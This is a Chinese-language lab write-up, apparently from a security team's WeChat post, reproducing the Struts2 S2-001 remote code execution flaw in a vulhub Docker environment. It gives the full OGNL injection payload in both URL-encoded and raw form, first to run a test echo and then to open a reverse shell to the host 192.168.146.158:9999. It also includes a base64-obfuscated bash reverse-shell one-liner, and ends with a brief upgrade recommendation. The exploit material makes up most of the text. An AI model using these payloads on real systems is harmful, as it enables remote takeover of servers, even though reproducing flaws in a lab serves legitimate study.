1 环境搭建

1.1 环境概述

• Linux操作系统

1.2 搭建过程

拉取镜像

cd vulhub/struts2/s2-001docker-compose up -d

访问http://192.168.146.158:8101/login.action

2 漏洞复现

构造一个恶意的payload并发送。

username=admin&password=%25%7B%28%23cmd%3D%27echo%20has%20vul%27%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23a%3D%28new%20java.lang.ProcessBuilder%28%23cmds%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%29%7D

payload原型：username=admin&password=%{(#cmd='echo has vul').(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#a=(new java.lang.ProcessBuilder(#cmds)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())}

发现成功执行了echo has vul，说明存在该漏洞。

既然发现漏洞了，那我们可以开始反弹shell

bash -i >& /dev/tcp/192.168.146.158/9999 0>&1

base加密bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}



访问漏洞url并且添加恶意payload进行抓包。




username=admin&password=%25%7B%28%23cmd%3D%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.146.158%2F9999%200%3E%261%27%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23a%3D%28new%20java.lang.ProcessBuilder%28%23cmds%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%29%7D





payload原型：username=admin&password=%{(#cmd='bash -i >& /dev/tcp/192.168.146.158/9999 0>&1').(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#a=(new java.lang.ProcessBuilder(#cmds)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())}





攻击机进行监听，然后发现成功反弹了shell。






3 修复建议
1、推荐的解决方案：升级至比受漏洞影响的更高版本。


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原文始发于微信公众号（NS Demon团队）：【漏洞复现】S2-001 远程代码执行漏洞